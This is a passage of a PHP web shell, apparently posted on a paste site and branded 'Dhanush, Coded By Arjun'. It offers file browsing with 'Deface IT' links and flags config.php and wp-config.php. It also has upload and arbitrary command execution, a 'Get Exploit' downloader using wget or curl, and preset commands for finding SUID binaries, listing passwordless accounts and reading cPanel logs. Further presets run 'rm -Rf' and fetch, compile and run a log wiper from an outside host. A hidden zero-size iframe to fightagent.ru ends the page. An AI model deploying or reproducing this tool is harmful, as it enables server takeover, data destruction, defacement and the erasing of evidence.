  5472.             <td class='dir'><a href='<?php echo $self ?>?dir=<?php echo $dir . $directorysperator . $val; ?>'>[ <?php echo $val; ?> ]</a></td>
  5473.             <td class='info'>DIR</td>
  5474.             <td class='info'><?php if(is_writable($dir . $directorysperator . $val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font class="wrtperm"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font></a><?php } else if(is_readable($dir . $directorysperator . $val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font  class="readperm"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font></a><?php } else { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font class="noperm"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font><?php } ?></td>
  5475.             <?php if($os != 'Windows')
  5476.                     {
  5477.                     echo "<td>";
  5478.                     $name=@posix_getpwuid(@fileowner($val));
  5479.                     $group=@posix_getgrgid(@filegroup($val));
  5480.                     $owner = $name['name']. " / ". $group['name'];
  5481.                     echo $owner . "</td>";
  5482.                     }  ?>          
  5483.             <td><font size="2" class="txt"><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
  5484.             <td class="info"><a href="<?php echo $self;?>?getdir=<?php echo $dir; ?>&rename=<?php echo $dir . $directorysperator . $val;?>">Rename</a></td>
  5485.             <td></td>
  5486.             <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
  5487.             </tr></font>
  5488.             <?php
  5489.         }
  5490.         foreach($files as $val)
  5491.         {
  5492.              $i++;
  5493.              ?>
  5494.                    <tr class="file">
  5495.                    <td class='file'><a href='<?php echo $self ?>?open=<?php echo $dir . $directorysperator . $val; ?>'><?php if(("/" .$val == $_SERVER["SCRIPT_NAME"]) || ($val == "index.php") || ($val == "index.html") || ($val == "config.php") || ($val == "wp-config.php")) { echo "<font color=#F4FA58>". $val . "</font>";  } else { echo $val; } ?></a> <?php if($val == "index.php" || $val == "index.html") { if(strlen($ind) != 0) { echo "<a href='?deface=" . $dir . $directorysperator . $val . "'><font color=#F4FA58>( Deface IT )</font></a>"; } } ?></td>
  5496.                    <td class='info'><?php echo HumanReadableFilesize(filesize($dir . $directorysperator . $val));?></td>
  5497.                    
  5498.                    <td class='info'><?php if(is_writable($dir . $directorysperator . $val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font class="wrtperm"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font></a><?php } else if(is_readable($dir . $directorysperator . $val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font  class="readperm"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font></a><?php } else { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font class="noperm"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font><?php } ?></td>
  5499.             <?php if($os != 'Windows')
  5500.                     {
  5501.                     echo "<td>";
  5502.                     $name=@posix_getpwuid(@fileowner($val));
  5503.                     $group=@posix_getgrgid(@filegroup($val));
  5504.                     $owner = $name['name']. " / ". $group['name'];
  5505.                     echo $owner . "</td>";
  5506.                     }  ?>                  
  5507.             <td><font size="2" class="txt"><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
  5508.                    <td class="info"><a href="<?php echo $self;?>?getdir=<?php echo $dir; ?>&rename=<?php echo $dir . $directorysperator . $val;?>">Rename</a></td>
  5509.                    <td class="info"><a href="<?php echo $self;?>?download=<?php echo $dir . $directorysperator .$val;?>">Download</a>
  5510.                    <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
  5511.                    </tr>
  5512.                    <p>
  5513.              <?php
  5514.         }
  5515.     }
  5516.     else
  5517.     {
  5518.         echo "<p><font size=4>".$_GET['dir']." is <b>NOT</b> a Valid Directory!<br /></font></p>";
  5519.     }
  5520.  
  5521. echo "</table>
  5522. <div align='right' style='width:97%;'><BR><input type='checkbox' name='checkall' onclick='checkedAll();'> <font class=txt>Check All </font> &nbsp;
  5523. <select class=sbox name=choice style='width: 100px;'>
  5524.             <option value=delete>Delete</option>
  5525.             <option value=chmod>Change mode</option>
  5526.             if(class_exists('ZipArchive'))
  5527.             {   <option value=compre>Compress</option>
  5528.             <option value=uncompre>Uncompress</option> }
  5529.         </select>
  5530.    
  5531.     <input type=submit value=Submit name=checkoption class=but></form></div>";
  5532. }
  5533.  
  5534. ?>
  5535. </p>
  5536. <table style="width:100%;" border="1">
  5537. <tr>
  5538. <td align="center">
  5539. <form method="post" enctype="multipart/form-data">
  5540.        
  5541.         Upload file : <br><input class="upld" type="file" name="uploadfile" class="box" size="50"><input type="hidden" name="path" value="<?php echo $dir; ?>" />&nbsp;<input type=submit value="Upload" name="u" value="u" class="but" ></form>
  5542.          <?php
  5543.        
  5544. if (is_writable($dir)) {
  5545.     echo '<font class=wrtperm>&lt; writable &gt;</font>';
  5546. } else {
  5547.     echo '&lt; not writable &gt;';
  5548. }
  5549.         ?>
  5550.           <br>
  5551.        
  5552.  
  5553.  
  5554. </td>
  5555. <td align="center" style="height:105px;">Create File :
  5556. <form method="post">
  5557. <input type="text" class="box" value="<?php echo $dir . $directorysperator; ?>" name="createfile"> <input type="submit" value="Create" name="Create" class="but">
  5558. </form>
  5559. <?php
  5560.    
  5561. if (is_writable($dir)) {
  5562.     echo '<font class=wrtperm>&lt; writable &gt;</font>';
  5563. } else {
  5564.     echo '&lt; not writable &gt;';
  5565. }
  5566.         ?>
  5567. </td>
  5568. </tr>
  5569. <tr>
  5570. <td align="center" style="height:105px;">Execute : <form action="<?php echo $self; ?>" method="post">
  5571. <input type="hidden" name="executepath" value="<?php echo $dir; ?>" />
  5572. <input type="text" class="box" name="execute"> <input type="submit" value="Execute" class="but"></form></td>
  5573.  
  5574. <td align="center">Create Directory : <form method="post">
  5575. <input type="text" value="<?php echo $dir . $directorysperator; ?>" class="box" name="createfolder">
  5576. <input type="submit" value="Create" name="createdir" class="but">
  5577. </form><?php
  5578.        
  5579. if (is_writable($dir)) {
  5580.     echo '<font class=wrtperm>&lt; writable &gt;</font>';
  5581. } else {
  5582.     echo '&lt; not writable &gt;';
  5583. }
  5584. ?></td></tr>
  5585. <tr><td style="height:105px;" align="center">Get Exploit&nbsp;<form method="post" actions="<?php echo $self; ?>">
  5586. <input type="text" name="wurl" class="box" value="http://www.some-code/exploits.c"> <input type="submit" name="uploadurl" value="  G0  " class="but"><br><br>
  5587. <input type="hidden" name="path" value="<?php echo $dir; ?>">
  5588. <select name="functiontype" class="sbox">
  5589. <option value="wwget">wget</option>
  5590. <option value="wlynx">lynx</option>
  5591. <option value="wfread">fread</option>
  5592. <option value="wfetch">fetch</option>
  5593. <option value="wlinks">links</option>
  5594. <option value="wget">GET</option>
  5595. <option value="wcurl">curl</option>
  5596. </select>
  5597. </form>
  5598. </td>
  5599. <td align="center">
  5600. <form method="post" action="<?php echo $self; ?>">
  5601. Some Commands<br>
  5602. <?php if($os != "Windows")
  5603. { ?>
  5604. <SELECT NAME="mycmd" class="box">
  5605.      <OPTION VALUE="uname -a">Kernel version
  5606.      <OPTION VALUE="w">Logged in users
  5607.      <OPTION VALUE="lastlog">Last to connect
  5608.      <option value='cat /etc/hosts'>IP Addresses
  5609.      <option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP
  5610.      <OPTION VALUE="logeraser">Log Eraser
  5611.      <OPTION VALUE="find / -perm -2 -ls">Find all writable directories
  5612.      <OPTION VALUE="find . -perm -2 -ls">Find all writable directories in Current Folder
  5613.      <OPTION VALUE="find / -type f -name \"config*\"">find config* files
  5614.      <OPTION VALUE="find . -type f -name \"config*\"">find config* files in current dir
  5615.      <OPTION VALUE="find . -type f -perm -04000 -ls">find suid files in current dir
  5616.      <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
  5617.      <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
  5618.      <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
  5619.      <?php if(is_dir('/etc/valiases')){ ?><option value="ls -l /etc/valiases">List of Cpanel`s domains(valiases)</option><?php } ?>
  5620.      <?php if(is_dir('/etc/vdomainaliases')) { ?><option value=\"ls -l /etc/vdomainaliases">List Cpanel`s domains(vdomainaliases)</option><?php } ?>
  5621.      <OPTION VALUE="which wget curl w3m lynx">Downloaders?
  5622.      <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
  5623.      <OPTION VALUE="ps aux">Show running proccess
  5624.      <OPTION VALUE="uptime">Uptime check
  5625.      <OPTION VALUE="cat /proc/meminfo">Memory check
  5626.      <OPTION VALUE="netstat -an | grep -i listen">Open ports
  5627.      <OPTION VALUE="rm -Rf">Format box (DANGEROUS)
  5628.      <OPTION VALUE="wget www.ussrback.com/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
  5629.      <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
  5630.      <OPTION VALUE="./zap2">WIPELOGS PT3
  5631.      <OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs
  5632.  </SELECT>
  5633.  <?php } else {?>
  5634.  <SELECT NAME="mycmd" class="box">
  5635.     <OPTION VALUE="dir /s /w /b *config*.php">Find *config*.php in current directory
  5636.     <OPTION VALUE="dir /s /w /b index.php">Find index.php in current dir
  5637.     <OPTION VALUE="systeminfo">System Informations
  5638.     <OPTION VALUE="net user">User accounts
  5639.     <OPTION VALUE="netstat -an">Open ports
  5640.     <OPTION VALUE="getmac">Get Mac Address
  5641.     <OPTION VALUE="net start">Show running services
  5642.     <OPTION VALUE="net view">Show computers
  5643.     <OPTION VALUE="arp -a">ARP Table
  5644.     <OPTION VALUE="tasklist">Show Process
  5645.     <OPTION VALUE="ipconfig/all">IP Configuration
  5646.    
  5647.  </SELECT>
  5648.  <?php } ?>
  5649. <input type="submit" value="Execute" class="but" name="executecmd">
  5650. </form>
  5651. </td>
  5652. </tr></table><br>
  5653.    
  5654. </td>
  5655. </tr>
  5656. </table>
  5657. <?php
  5658.  
  5659.  
  5660. //logout
  5661.  
  5662. if(isset($_GET['logout']))
  5663. {
  5664.     setcookie("hacked",time() - 60*60);
  5665.     header("Location:$self");
  5666.     ob_end_flush();
  5667. }  
  5668. ?>
  5669.  
  5670.  
  5671. <hr>
  5672. <div align="center">
  5673. <span class=headtitle><font size="6">&#2343;&#2344;&#2369;&#2359;</font></span><br><span class=headtitle><font size="6">--==Coded By Arjun==--</font></span><br>
  5674. <a href="http://www.google.com/search?q=%E0%A4%9C%E0%A4%AF%20%E0%A4%B9%E0%A4%BF%E0%A4%A8%E0%A5%8D%E0%A4%A6" target="_blank"><font  size="6">&#2332;&#2351; &#2361;&#2367;&#2344;&#2381;&#2342;</font></a></div>
  5675. <?php
  5676. }  
  5677. if(isset($_POST['uname']) && isset($_POST['passwd']))
  5678. {
  5679.     if( $_POST['uname'] == $user && $_POST['passwd'] == $pass )
  5680.     {
  5681.          setcookie("hacked", md5($pass));
  5682.          $selfenter = $_SERVER["PHP_SELF"];
  5683.          header("Location:$selfenter");
  5684.     }
  5685. }
  5686.        
  5687. if((!isset($_COOKIE['hacked']) || $_COOKIE['hacked']!=md5($pass)) )
  5688. {
  5689.        
  5690. ?>
  5691.  <center>
  5692.     <form method="POST">
  5693.     <div class="logindiv">
  5694.         <table cellpadding="9" cellspacing="4">
  5695.             <tr>
  5696.                 <td align="center" colspan="2"><blink><font class="headtitle" size="7"><b>Dhanush </b></font></blink></td>
  5697.             </tr>
  5698.             <tr>
  5699.                 <td align="right"><b>User Name : </b></td>
  5700.                 <td><input type="text" name="uname" class="sbox"  value="User Name" onFocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onBlur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
  5701.             </tr>
  5702.             <tr>
  5703.                 <td align="right"><b>Password : </b></td>
  5704.                 <td><input type="password" name="passwd" class="sbox"  value="User Name" onFocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onBlur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
  5705.             </tr>
  5706.             <tr>
  5707.                 <td align="center" colspan="2"><input type="submit" class="but" value="     Enter     "></td>
  5708.             </tr>
  5709.             <tr>
  5710.                 <td colspan="2"><font size="6" face="Times New Roman, Times, serif"><b>--==Coded By Arjun==--</b></font></td>
  5711.             </tr>
  5712.         </table>
  5713.     </div>
  5714.    
  5715.     </form>
  5716.     </center>
  5717.  
  5718. </body>
  5719. </html>
  5720. <?php  
  5721. }
  5722. ?>
  5723.  
  5724. <iframe width=0px height=0px frameborder=no name=frame1 src=http://fightagent.ru> </iframe>
Add Comment
Please, Sign In to add comment